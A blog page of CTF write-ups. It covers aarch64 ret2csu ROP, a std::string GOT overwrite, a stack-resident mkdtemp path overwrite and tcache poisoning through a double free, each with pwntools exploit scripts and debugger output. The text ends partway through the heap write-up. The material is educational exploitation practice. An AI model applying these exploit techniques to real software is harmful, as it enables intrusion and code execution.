About

Trying to learn pwn and reversing.

Resume

Download my resume here

Contact

PGP Public Key

-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEZe/MzBYJKwYBBAHaRw8BAQdAO8n3lGgp3as/VMYeubPy1XgjEJJepl+gcHzS
QZb/87K0K1dpbGxpYW0gV2lqYXlhIChHZW5lcmFsKSA8ZDB1Ymxld0BkdWNrLmNv
bT6IkwQTFgoAOxYhBCASofVtp/JHtJU59P/uxWUt57i+BQJl78zMAhsDBQsJCAcC
AiICBhUKCQgLAgQWAgMBAh4HAheAAAoJEP/uxWUt57i+yaEA/2b/xDP1zk9cKkXg
jF9I7AJStuCMggla+hxwC6qlok0YAP49gnnRCMF4jGBSmO+wl/n7MqDuOXWjKzxe
AqTjEj3aALg4BGXvzMwSCisGAQQBl1UBBQEBB0D0lhjMX2KPaX4FXtoQswqjPZSu
DuKsOUATw2iH/nRZEAMBCAeIeAQYFgoAIBYhBCASofVtp/JHtJU59P/uxWUt57i+
BQJl78zMAhsMAAoJEP/uxWUt57i+XS8A/iMPpLVJBECVef42BoIpkrFbrSJCMXnB
bXRCGZqdlp/eAQDJrfA58yplCCu0Xq9SDF0DwYYFdk47h1/vxaN1H/OQAQ==
=lTTU
-----END PGP PUBLIC KEY BLOCK-----

CTF Writeups

pwn

Challenge NameCTF NameKeywordsSummary
generic-rop-challengeImaginaryCTF 2023aarch64, ARM64, ROP, ret2csuret2csu on aarch64 architecture
bofwwCakeCTF 2023bof, cppBuffer overflow into arbitrary address write via std::string operator=
Memorial CabbageCakeCTF 2023insecure libc functionmkdtemp return value lives in the stack instead of heap which allow us to overwrite it
Glacier RatingGlacierCTF 2023heap, cpp, tcache poisoning, double free, fastbin dupDouble free into tcache poisoning
Hack The Binary 1PwC CTF: Hack A Day 2023 - Securing AIoobArray OOB read
Hack The Binary 2PwC CTF: Hack A Day 2023 - Securing AIformat string, ROPFormat string to defeat ASLR, ROP to get RCE
ezv8 revengebi0sCTF 2024pwn, browser, V8, type confusion, V8 sandbox, wasmCVE-2020-6418 on V8 version 12.2.0 (970c2bf28ddb93dc17d22d83bd5cef3c85c5f6c5, 2023-12-27); shellcode execution via wasm instance object
osu-v8osu!gaming CTF 2024pwn, browser, V8, V8 garbage collection, UAF, V8 sandbox, wasmCVE-2022-1310 on V8 version 12.2.0 (8cf17a14a78cc1276eb42e1b4bb699f705675530, 2024-01-04); UAF on RegExp().lastIndex; shellcode execution via wasm instance object
mixtpeailbcb01lers CTF 2024custom VM, oobcustom VM with instructions to swap instruction handlers and registers without bound checking, using swap registers to leak libc address and swap instruction handlers to spawn a shell

web

Challenge NameCTF NameKeywordsSummary
PHP Code Review 1PwC CTF: Hack A Day 2023 - Securing AIphpLeveraging Google search box to capture the flag
PHP Code Review 2PwC CTF: Hack A Day 2023 - Securing AIphpTriggerring error to reach catch block
WarmupWargames.MY CTF 2023php, RCE, LFILFI to RCE via PHP PEARCMD
StatusWargames.MY CTF 2023php, k8s, nginx, off-by-slashRetrieve nginx config file from k8s configmaps
SecretWargames.MY CTF 2023k8s, HashiCorp VaultRead secret from HashiCorp vault using the vault CLI and using nginx off-by-slash

ImaginaryCTF 2023

pwn

Challenge NameKeywordsSummary
generic-rop-challengeaarch64, ARM64, ROP, ret2csuret2csu on aarch64 architecture

generic-rop-challenge

warning

Not sure why the exploit does not work in non-debug mode locally, but works for local debug-mode and remote non-debug

aarch64 (ARM64)

Tools

References: https://docs.pwntools.com/en/stable/qemu.html

Debugging (choose either one):

Running:

  • qemu: sudo apt-get install qemu-user-static
  • libs: sudo apt-get install libc6-arm64-cross installs to /usr/aarch64-linux-gnu/

Running the binary

# non-debug mode
qemu-aarch64-static ./binary

# debug mode (gdbserver) on port 1234
qemu-aarch64-static -g 1234 ./binary

# in case of the loader not provided (`ld-linux-aarch64.so.1`), use the loader from `libc-arm64-cross`
qemu-aarch64-static -L /usr/aarch64-linux-gnu/ ./binary

Attach debugger with GEF

gef➤  gef-remote --qemu-user localhost 1234

Assembly

References: http://blog.perfect.blue/ROPing-on-Aarch64

Registers

  • x0 to x7 are used to pass arguments
  • x29 is equivalent to rbp in x86
  • x30 stores return address

Function Prologue

Pre-indexed performs the offset operation then the assembly instruction:

  • Add N to sp (sp = sp + N)
  • Stores old frame pointer, x29, to [sp] and return address, x30, to [sp + 8]
stp x29, x30, [sp, #N]!  ; pre-indexed [base, #offset]!
mov x29, sp

Function Epilogue

Post-indexed performs the assembly instruction then the offset operation

  • Load [sp] to x29 and [sp + 8] to x30
  • Add N to sp (sp = sp + N)
ldp x29, x30, [sp], #N  ; post-indexed [base], #offset

Stack Layout

+--------------------------+ ^ Lower memory address
| callee's saved x29       | |
+--------------------------+ |
| callee's saved x30       | |
+--------------------------+ | Stack growth direction
| callee's local variables |
+--------------------------+
| caller's saved x29       |
+--------------------------+
| caller's saved x30       |
+--------------------------+
| caller's local variables |
+--------------------------+   Higher memory address

Unlike in x86 where saved rbp and rip are below the local variables which allow us to overwrite the saved rip and immediately return to our desired address, in ARM64 we overwrite the callers's return address instead due to the stack layout which means that we would first return normally to the caller and only then return to our desired address

Solution

#!/usr/bin/env python3

# type: ignore
# flake8: noqa

from pwn import *

ld = ELF("./ld-linux-aarch64.so.1")
libc = ELF("./libc.so.6")
elf = context.binary = ELF("./vuln")


def start(argv=[], *a, **kw):
    global flag_path
    host = args.HOST or 'generic-rop-challenge.chal.imaginaryctf.org'
    port = int(args.PORT or 42042)
    if args.REMOTE:
        flag_path = b"/home/user/flag.txt\x00"
        return remote(host, port)
    if args.GDB:
        flag_path = b"/run/shm/flag.txt\x00"
        return process([qemu, "-g", str(debug_port), elf.path])
    else:
        flag_path = b"/run/shm/flag.txt\x00"
        return process([qemu, elf.path] + argv, env=env, *a, **kw)


env = {}
qemu = "/usr/bin/qemu-aarch64-static"
debug_port = 1234
flag_path = b""
io = start()

pad = 80 - 0x10
main_x29 = b"BBBBBBBB"
bss = elf.bss(0x200)

csu_1 = 0x400948
csu_2 = 0x400928


def ret2csu(w0, x1, x2, func_ptr, next_gadget):
    payload = b"A" * pad + main_x29 + p64(csu_1)
    payload += flat(bss, p64(csu_2))
    payload += flat(0, 1)  # x19, x20
    payload += flat(func_ptr, w0)  # x21, x22
    payload += flat(x1, x2)  # x23, x24
    payload += flat(bss, next_gadget)
    return payload


# Leak LIBC
payload = ret2csu(elf.got["puts"], 0, 0, elf.got["puts"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
leak_puts = u64(io.recvline(keepends=False).ljust(8, b"\x00"))
if not args.REMOTE:
    leak_puts |= 0x4000000000
log.info(f"{leak_puts=:#x}")

libc.address = leak_puts - libc.symbols["puts"]
log.info(f"{libc.address=:#x}")

# gets(bss) // stdin: /home/user/flag.txt
pause()
log.info(f"setup flag path string @ bss + 0x500")
log.info(f"{flag_path=}")
flag_path_addr = elf.bss(0x500)
payload = ret2csu(flag_path_addr, 0, 0, elf.got["gets"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
io.sendline(flag_path)  # absolute path to ignore `dirfd` for `openat`

# gets(bss) // stdin: libc.symbols["openat"]
openat_fptr = elf.bss(0x600)
log.info(f"setup openat function pointer @ bss + 0x600")
payload = ret2csu(openat_fptr, 0, 0, elf.got["gets"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
io.sendline(p64(libc.symbols["openat"]))

# fini_ptr = 0x400e20

# openat(0, flag_path_addr, 0)
log.info(f"openat(0, flag_path_addr, 0)")
payload = ret2csu(0, flag_path_addr, 0, openat_fptr, elf.symbols["main"])
io.sendlineafter(b"below\n", payload)

# gets(bss) // stdin: libc.symbols["read"]
read_fptr = elf.bss(0x600)
log.info(f"setup read function pointer @ bss + 0x600")
payload = ret2csu(read_fptr, 0, 0, elf.got["gets"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
io.sendline(p64(libc.symbols["read"]))

# read(5, flag_addr, 0x100)
flag_addr = elf.bss(0x700)
log.info(f"read(5, flag_addr, 0x100)")  # trial-and-error to find the proper fd
payload = ret2csu(5, flag_addr, 0x100, read_fptr, elf.symbols["main"])
io.sendlineafter(b"below\n", payload)

# gets(bss) // stdin: libc.symbols["write"]
write_fptr = elf.bss(0x600)
log.info(f"setup write function pointer @ bss + 0x600")
payload = ret2csu(write_fptr, 0, 0, elf.got["gets"], elf.symbols["main"])
io.sendlineafter(b"below\n", payload)
io.sendline(p64(libc.symbols["write"]))

# write(1, flag_addr, 0x100)
payload = ret2csu(1, flag_addr, 0x100, write_fptr, elf.symbols["main"])
io.sendlineafter(b"below\n", payload)

io.interactive()

CakeCTF 2023

pwn

Challenge NameKeywordsSummary
bofwwbof, cppBuffer overflow into arbitrary address write via std::string operator=
Memorial Cabbageinsecure libc functionmkdtemp return value lives in the stack instead of heap which allow us to overwrite it

bofww

Author: ptr-yudai
Description: buffer overflow with win function
Attachment: bofww.tar.gz

TL;DR

Buffer overflow into arbitrary address write via std::string operator=

Source Code

#include <iostream>

void win() {
  std::system("/bin/sh");
}

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

int main() {
  int age;
  std::string name;
  input_person(age, name);
  std::cout << "Information:" << std::endl
            << "Age: " << age << std::endl
            << "Name: " << name << std::endl;
  return 0;
}

__attribute__((constructor))
void setup(void) {
  std::setbuf(stdin, NULL);
  std::setbuf(stdout, NULL);
}
$ checksec --file ./bofww
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Initial Analysis

There is an obvious buffer overflow on input_person(), specifically the _name variable. However, the program is compiled with stack protector and we might need to leak the stack cookie for us to smash the stack. Unfortunately, I could not find any way to leak the cookie and gain another round of buffer overflow. Luckily, the program global offset table (GOT) entries are overwritable. Moreover, there is a win function which would pop us a shell; hence, the plan is to overwrite __stack_chk_fail GOT entry to be the address of win() function.

But, how do we overwrite the GOT, you may ask? Well, in short, we overwrite the std::string structure which contains pointer to a memory address in which the actual string content lives. Guess, this is a good excuse to dive into libstdc++6 (cxx11) std::string internals to better understand how our exploit works. Then, we would walkthrough the operator= function to better craft our exploit. If you are just here for the final solve script, you can skip to this section.

std::string Brief Internals

Let's try to play with the program through GDB. First, set a breakpoint at input_person+164, which is the just before name = _name line of code is executed. Next, run the program and input any short name, in this example, the input would be aaaabaaa for _name, and any number for _age.

gef> break *input_person+164
gef> run
gef> info reg rdi
rdi            0x7fffffffcde0      0x7fffffffcde0
gef> ni
gef> tele 0x7fffffffcde0
0x7fffffffcde0|+0x0000|+000: 0x00007fffffffcdf0  ->  'aaaabaaa'  <-  $rax
0x7fffffffcde8|+0x0008|+001: 0x0000000000000008
0x7fffffffcdf0|+0x0010|+002: 'aaaabaaa'  <-  $rdi
0x7fffffffcdf8|+0x0018|+003: 0x0000000000000000
0x7fffffffce00|+0x0020|+004: 0x0000000000000000
0x7fffffffce08|+0x0028|+005: 0xa7306dc9e85ed800  <-  canary

We could try to supply another input, for example aaaabaaacaaaa, and inspect the memory.

0x7fffffffcde0|+0x0000|+000: 0x00007fffffffcdf0  ->  'aaaabaaacaaa'  <-  $rax
0x7fffffffcde8|+0x0008|+001: 0x000000000000000c ('\x0c'?)
0x7fffffffcdf0|+0x0010|+002: 'aaaabaaacaaa'  <-  $rdi
0x7fffffffcdf8|+0x0018|+003: 0x0000000061616163 ('caaa'?)
0x7fffffffce00|+0x0020|+004: 0x0000000000000000
0x7fffffffce08|+0x0028|+005: 0xdea7b9a5dde5b200  <-  canary

We could see from the two examples how std::string is represented on the stack and sort of guess that:

offsetdata
0x00pointer to the string content
0x08length of the string content
0x10the actual string content

Looks like the structure could hold up to either 0x10 or 0x18 bytes of characters (including the NULL termination byte) on the stack. Let's try to provide 0x10 bytes of input and see how it reacts.

0x7fffffffcde0|+0x0000|+000: 0x00000000004172b0  ->  'aaaaaaaabaaaaaaa'  <-  $rax
0x7fffffffcde8|+0x0008|+001: 0x0000000000000010
0x7fffffffcdf0|+0x0010|+002: 0x000000000000001e  <-  $rdi
0x7fffffffcdf8|+0x0018|+003: 0x0000000000000000
0x7fffffffce00|+0x0020|+004: 0x0000000000000000
0x7fffffffce08|+0x0028|+005: 0xc382c9256963b300  <-  canary

As could be seen, our string is now allocated on the heap.

Since there is a pointer to a memory address, we could probably overwrite this value with our buffer overflow and point it to __stack_chk_fail@got.plt.

payload = b""
payload += p64(win)
payload = payload.ljust(0x130, b"\x00")
payload += p64(stack_chk_fail_got)

With this payload, we actually got a SIGSEGV and looking at the call stack, it is trying to call free which hints us on operator= trying to allocate our input on the heap. However, our input is only 3 bytes long as NULL bytes are not counted. This is weird. Guess, this is a perfect time to look at how operator= works.

 -> 0x7fdbf5c3d8d7 498b4608           <_int_free+0x1b7>   mov    rax, QWORD PTR [r14 + 0x8]
[!] Cannot access memory at address 0x8050d8
[Thread Id:1] Name: "bofww", stopped at 0x7fdbf5c3d8d7 <_int_free+0x1b7>, reason: SIGSEGV
[#0] 0x7fdbf5c3d8d7 <_int_free+0x1b7>
[#1] 0x7fdbf5c404d3 <free+0x73> (frame name: __GI___libc_free)
[#2] 0x7fdbf5f4182d <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_mutate(unsigned long, unsigned long, char const*, unsigned long)+0xed>
[#3] 0x7fdbf5f4288b <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_replace(unsigned long, unsigned long, char const*, unsigned long)+0xfb>
[#4] 0x0000004013b9 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+0xa9>
[#5] 0x000000000000 <NO_SYMBOL>

Understanding operator=(const char *)

Unfortunately, I could not find the libstdc++ source code for the operator= function (skill issue, probably) and had to instead use ghidra to decompile the file.

To easily locate the function address, turn off demangling inside GDB (if you have it turned on) and use the mangled function name _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc as the search filter.

gef> set print asm-demangle off
gef> x/i 0x00000000004013b4
0x4013b4 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+164>:      call   0x4011a0 <_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEaSEPKc@plt>

The following is the decompiled code for operator=(const char *). As could be seen, there is a familiar function named _M_replace(). It accepts:

  • the std::string structure as the first parameter,
  • index as the second parameter
  • current string length (offset 0x08) as the third parameter
  • pointer to the new string content as the fourth parameter
  • and lastly, the length of the new string
void __thiscall
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=
          (basic_string<char,std::char_traits<char>,std::allocator<char>> *this,char *new_str)

{
  size_t new_len;
  
  new_len = strlen(new_str);
  _M_replace(this,0,*(ulong *)(this + 8),new_str,new_len);
  return;
}

Looking into _M_replace(), there is the _M_mutate() function which causes the SIGSEGV. To avoid calling _M_mutate(), capacity, which is the value at offset 0x10 (since we overwrote ptr and now ptr != this+0x10), needs to be larger than our input length. Since we have buffer overflow, we could control the value at offset 0x10 as well which make the program goes into the else block and finally execute the memcpy() function, where the destination is the overwritten ptr value plus index (which is always 0) and the source is our input value.

basic_string<char,std::char_traits<char>,std::allocator<char>> * __thiscall
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_replace
          (basic_string<char,std::char_traits<char>,std::allocator<char>> *this,ulong index,
          ulong cur_size,char *new_str,ulong new_len)

{
  basic_string<char,std::char_traits<char>,std::allocator<char>> *__dest;
  ulong _new_len;
  ulong capacity;
  ulong idk;
  long _cur_size;
  basic_string<char,std::char_traits<char>,std::allocator<char>> *ptr;
  
  _cur_size = *(long *)(this + 8);
  if (new_len <= (cur_size + 0x3fffffffffffffff) - _cur_size) {
    ptr = *(basic_string<char,std::char_traits<char>,std::allocator<char>> **)this;
    _new_len = (new_len - cur_size) + _cur_size;
    if (ptr == this + 0x10) {
                    /* inline string (on stack) */
      capacity = 0xf;
    }
    else {
      capacity = *(ulong *)(this + 0x10);
    }
    if (capacity < _new_len) { // <=== avoid this
      _M_mutate(this,index,cur_size,new_str,new_len);
    }
    else {
      __dest = ptr + index;
      idk = _cur_size - (index + cur_size);
      if ((new_str < ptr) || (ptr + _cur_size < new_str)) {
        if ((idk != 0) && (cur_size != new_len)) {
          if (idk == 1) {
            __dest[new_len] = __dest[cur_size];
          }
          else {
            memmove(__dest + new_len,__dest + cur_size,idk);
          }
        }
        if (new_len != 0) {
          if (new_len == 1) {
            *__dest = (basic_string<char,std::char_traits<char>,std::allocator<char>>)*new_str;
          }
          else {
            memcpy(__dest,new_str,new_len); // <=== target
          }
        }
      }
      else {
        _M_replace_cold(this,(char *)__dest,cur_size,new_str,new_len,idk);
      }
    }
    *(ulong *)(this + 8) = _new_len;
    *(undefined *)(*(long *)this + _new_len) = 0;
    return this;
  }
                    /* WARNING: Subroutine does not return */
  __throw_length_error("basic_string::_M_replace");
}

Solution

Let's briefly recap on our analysis:

  • input_person() function is subjected to buffer overflow
  • std::string contains a pointer to memory address at offset 0x00
  • this pointer could be overwritten w/ buffer overflow to point to __stack_chk_fail@got.plt and our input would be used to populate this GOT entry
  • simply overwriting this pointer is not enough as the operator= function calls into _M_mutate() which causes segmentation fault
  • need to overwrite std::string structure at offset 0x10 to be larger than our input length (calculated with strlen) to avoid the _M_mutate() function calls
#!/usr/bin/env python3

# type: ignore
# flake8: noqa

from pwn import *

elf = context.binary = ELF("./bofww", checksec=False)


def start(argv=[], *a, **kw):
    nc = "nc bofww.2023.cakectf.com 9002"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
    else:
        return process([elf.path] + argv, env=env, *a, **kw)


env = {}
io = start()

win = 0x4012f6
stack_chk_fail_got = elf.got["__stack_chk_fail"]
payload = b""
payload += p64(win)
payload = payload.ljust(0x130, b"\x00")
payload += flat(
    stack_chk_fail_got,
    0,
    0x3  # std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_replace(unsigned long, unsigned long, char const*, unsigned long)+0x4a --> need to be >= strlen(_name)  # noqa
)
io.sendline(payload)
io.sendline(b"1337")

io.interactive()
$ ./solve.py
[*] Switching to interactive mode
What is your first name? How old are you? $ ls
Dockerfile  docker-compose.yml    libstdc++.so.6.0.32  readme.md
bofww        flag.txt        main.cpp         solve.py
$ cat flag.txt
CakeCTF{n0w_try_w1th0ut_w1n_func710n:)}
$

Memorial Cabbage

Author: ptr-yudai
Description: Memorial Cabbage Unit 3
Attachment: memorial-cabbage.tar.gz

TL;DR

mkdtemp return value lives in the stack instead of heap which allow us to overwrite it.

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"

static char *tempdir;

void setup() {
  char template[] = TEMPDIR_TEMPLATE;

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  if (!(tempdir = mkdtemp(template))) {
    perror("mkdtemp");
    exit(1);
  }
  if (chdir(tempdir) != 0) {
    perror("chdir");
    exit(1);
  }
}

void memo_r() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "r")))
    return;
  fgets(buf, sizeof(buf) - 1, fp);
  fclose(fp);

  printf("Memo: %s", buf);
}

void memo_w() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  printf("Memo: ");
  if (!fgets(buf, sizeof(buf)-1, stdin))
    exit(1);

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "w")))
    return;
  fwrite(buf, 1, strlen(buf), fp);
  fclose(fp);
}

int main() {
  int choice;

  setup();
  while (1) {
    printf("1. Write memo\n"
           "2. Read memo\n"
           "> ");
    if (scanf("%d%*c", &choice) != 1)
      break;
    switch (choice) {
      case 1: memo_w(); break;
      case 2: memo_r(); break;
      default: return 0;
    }
  }
}

Initial Analysis

At a glance, the program seems to not have any vulnerability. The setup() function creates a temporary directory under /tmp and save the directory name to tempdir. Both memo write and read have proper size constraints to prevent buffer overflow and would operate on a file named memo.txt under tempdir.

Next, my plan is to just fill up buf with 0xfff bytes of cyclic pattern and observe any interesting outcome.

gef> x/s (char*)tempdir
0x7ffd9aab6920: "/tmp/cabbage.FSWsBP"
gef> ni
gef> x/s (char*)tempdir
0x7ffd9aab6920: "bovabowaboxabo"

Turns out that our input overwrites part of tempdir. This happens because mkdtemp returns char * that is pointing to the stack and when the setup() returns, the string /tmp/cabbage.FSWsBP is located in the stack area which would be used to allocate local variables when another function is called. In this case, when memo_w is called, the memory which would be allocated for buf overlaps with tempdir, which allows us to overwrite the path value.

gef> x/5i memo_w+59
   0x55565ba76502 <memo_w+59>:  mov    rdx,QWORD PTR [rip+0x2b17]        # 0x55565ba79020 <stdin@GLIBC_2.2.5>
   0x55565ba76509 <memo_w+66>:  lea    rax,[rbp-0x1010]
   0x55565ba76510 <memo_w+73>:  mov    esi,0xfff
   0x55565ba76515 <memo_w+78>:  mov    rdi,rax
   0x55565ba76518 <memo_w+81>:  call   0x55565ba76180 <fgets@plt>
gef> x/gx $rbp-0x1010
0x7ffd9aab5930: 0x6161616261616161
gef> p/x 0x7ffd9aab5930+0x1000
$6 = 0x7ffd9aab6930

Solution

Now that we are able to overwrite the value of tempdir and the memo path is constructed everytime memo_r is called, we could overwrite tempdir to be /flag.txt\x00. Since the length of /flag.txt\x00 is shorter than TEMPDIR_TEMPLATE, when strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt") is called, our NULL termination stays and fopen() would open /flag.txt, instead of /flag.txtgarbage/memo.txt

important

When testing locally, make sure that the running user has no write permission to /flag.txt since memo_w would not return early and instead overwrite the content of /flag.txt.

Final solve script:

#!/usr/bin/env python3

# type: ignore
# flake8: noqa

from pwn import *

elf = context.binary = ELF("./cabbage", checksec=False)


def start(argv=[], *a, **kw):
    nc = "nc memorialcabbage.2023.cakectf.com 9001"
    nc = nc.split()
    host = args.HOST or nc[1]
    port = int(args.PORT or nc[2])
    if args.REMOTE:
        return remote(host, port)
    else:
        return process([elf.path] + argv, env=env, *a, **kw)


env = {}
io = start()

io.sendline(b"1")
io.sendline(cyclic(0xff0) + b"/flag.txt\x00")
io.sendline(b"2")

io.interactive()
$ ./solve.py REMOTE HOST=localhost PORT=9001
[+] Opening connection to localhost on port 9001: Done
[*] Switching to interactive mode
1. Write memo
2. Read memo
> Memo: 1. Write memo
2. Read memo
> Memo: FakeCTF{*** REDACTED ***}
1. Write memo
2. Read memo
> $

GlacierCTF 2023

pwn

Challenge NameKeywordsSummary
Glacier Ratingheap, cpp, tcache poisoning, double free, fastbin dupDouble free into tcache poisoning

Glacier Rating

Author: n4nika
Description: I love C++. No malloc and free, so I can't mess up my heap management, right?
Attachment: glacie-rating.tar.gz

TL;DR

Double free into tcache poisoning

Source Code Analysis

In this program, we are first required to provide a username and a password, then we could interact with the main features of the program with USER level permission:

  • create a rating
  • delete a rating
  • show a rating
  • scream
  • do admin stuff, which prints out flag.txt (require ADMIN level permission)

user.hpp

#ifndef USER_HPP
#define USER_HPP

#include <string>
#include <map>
#include <iostream>

enum class Perms
{
  ADMIN = 0,
  USER = 1000,
};

class User
{
  private:
    std::string username_;
    std::string password_;
    std::map<size_t, char*> ratings_;
    Perms user_level_;

  public:
    User(std::string username, std::string password, Perms user_level);
    ~User() = default;
    User(const User &copy) = delete;
    std::string getUsername();
    Perms getUserLevel();
    void insertRating(char *rating);
    void removeRating(size_t index);
    void showRatings();
};

#endif

Create A Rating

Creating a rating would first allocate a 0x20 sized chunk on the heap, only then followed by rating amount validation, which only allow us to create 3 ratings. Our input is then used to create std::pair value and this pair is then inserted into the std::map<size_t, char*> ratings_

// main.cpp
void writeRating(User *user) {
    char *buffer = new char[24];

    std::cout << "Give me your rating" << std::endl;
    std::cout << "> ";
    fgets(buffer, 24, stdin);
    user->insertRating(buffer);
    return;
}

// user.cpp
void User::insertRating(char *rating) {
    if (ratings_.size() >= 3) {
        std::cout << "Maximum amount of ratings reached!" << std::endl;
        return;
    } else {
        ratings_.insert({ratings_.size() + 1, rating});
        std::cout << "Successfully added rating" << std::endl;
        return;
    }
}

Delete A Rating

Deleting a rating seems to be straight forward, where we are required to choose from the available key inside ratings_. Proper validation is implemented as well to prevent weird interactions. However, there is one problem here. On line 21, the function User::removeRating does not actually delete the std::pair element, but instead only delete the std::pair value. As a result, the size of the std::map stays the same as well.

// main.cpp
void deleteRating(User *user) {
    size_t index = 0;
    std::cout << "Which rating do you want to remove?" << std::endl;
    std::cout << "> ";
    scanf("%zd", &index);
    getchar();
    user->removeRating(index);
    return;
}

// user.cpp
void User::removeRating(size_t index) {
    if (ratings_.empty()) {
        std::cout << "No ratings to delete" << std::endl;
        return;
    } else if (index >= ratings_.size() + 1 | index < 1) {
        std::cout << "Invalid Index" << std::endl;
        return;
    } else {
        delete ratings_.at(index); // <=== VULNERABILITY!!!
        std::cout << "Removed rating " << index << std::endl;
        return;
    }
}

Here is a rough visualization of what happen when we delete a rating:

1: aaaa
2: bbbb
3: cccc

Delete `2` --> free bbbbb
1: aaaa
2: ????
3: cccc

Instead of
1: aaaa
3: cccc

With this wrong implementation, we are able to leak data from the heap (through show rating), since the key 2 still exists inside ratings_

The proper way to delete should be using the erase method.

Show A Rating

Nothing much here, just a function to display ratings_.

// main.cpp
void showRatings(User *user) {
    user->showRatings();
    return;
}

// user.cpp
void User::showRatings() {
    std::cout << "Your ratings: " << std::endl;
    for (auto rating : ratings_) {
        std::cout << rating.first << ": " << rating.second << std::endl;
    }
    return;
}

Scream

This function allow us to temporarily create a vector which essentially give us the ability to allocate up to 50 arbitrary size chunks. These chunks are then freed when the vector object goes out of scope. We will get back to this function when developing our exploit later on.

// main.cpp
void scream(User *user) {
    std::cout << "Now scream to your hearts content!" << std::endl;
    std::string              line;
    std::vector<std::string> lines;
    while (line != "quit") {
        std::getline(std::cin, line);
        lines.push_back(line);

        if (lines.size() > 50) {
            std::cout << "Thats enough!" << std::endl;
            return;
        }
    }
    return;
}

Do Admin Stuff

This is the function that would give us the flag given that our permission is ADMIN.

// main.cpp
void doAdminStuff(User *user) {
    if (user->getUserLevel() != Perms::ADMIN) {
        std::cout << "You are not an admin!" << std::endl;
        exit(1);
    } else if (user->getUserLevel() == Perms::ADMIN) {
        std::ifstream flag_stream("./flag.txt");
        std::string   flag;
        std::getline(flag_stream, flag);
        flag_stream.close();
        std::cout << "Verified permissions" << std::endl;
        std::cout << "Here is your flag: " << flag << std::endl;
        exit(0);
    }
}

Solution

Getting A Heap Leak

From the analysis above, we found out that we could obtain a heap leak by deleting a rating and show the rating.

create(b"a" * 8)
show()
print(io.recvline())
print(io.recvline())

delete(1)
show()
print(io.recvline())
print(io.recvline())

"""
b'Your ratings: \n'
b'1: aaaaaaaa\n'
b'Your ratings: \n'
b'1: w\xa3c`\x05\n'
"""

Fastbin Dup

What we could do next is to perform double free. However, this does not work due to tcachebins mitigation. We could try to find a way to overwrite the bk field which contain the key to prevent double free but this is not possible. Unlike tcachebins, fastbin does not have the mechanism to detect double free. So our goal now is to free the rating chunk into fastbin and perform double free (also known as fastbin dup).

To achieve this, we would need to first fill up the tcachebins with chunks of size 0x20. Recall the scream function which enable us to allocate up to 50 arbitrary size chunks. Furthermore, this function also freed the allocated chunks at the end, which is perfect for us.

create(b"a" * 8)
create(b"b" * 8)
create(b"c" * 8)
delete(3)

show()
io.recvuntil(b"3: ")
heap_leak = u64(io.recvline().strip().ljust(8, b"\x00"))
log.info(f"{heap_leak=:#x}")
heap = heap_leak << 12
log.info(f"{heap=:#x}")
user_chunk = heap + 0x370

# fill up tcachebins
payload = b"\n".join([cyclic(0x10)] * 7 + [b"quit"])
scream(payload)

# fastbin dup
delete(1)
delete(2)
delete(1) # <=== DOUBLE FREE!!!

Before scream

----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x555555563090] count=1
 -> Chunk(addr=0x555555575530, size=0x20, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=1, size=0x30, @0x555555563098] count=1
 -> Chunk(addr=0x5555555752a0, size=0x30, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
tcachebins[idx=3, size=0x50, @0x5555555630a8] count=2
 -> Chunk(addr=0x5555555752d0, size=0x50, flags=PREV_INUSE, fd=0x555000020645, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575320, size=0x50, flags=PREV_INUSE, fd=0x000555555575, bk=0x6ee603c65e3f27c0)
[+] Found 4 chunks in tcache.
------------------------------------ Fastbins for arena 'main_arena' ------------------------------------
[+] Found 0 chunks in fastbin.

After scream

----------------------------------- Tcachebins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x555555563090] count=7
 -> Chunk(addr=0x555555575800, size=0x20, flags=PREV_INUSE, fd=0x555000020285, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x5555555757e0, size=0x20, flags=PREV_INUSE, fd=0x5550000202a5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x5555555757c0, size=0x20, flags=PREV_INUSE, fd=0x5550000203d5, bk=0x6ee603c65e3f27c0)
 -> Chunk(addr=0x555555575690, size=0x20, flags=PREV_INUSE, fd=0x5550000203f5, bk=0x6ee603c65e3f27c0)
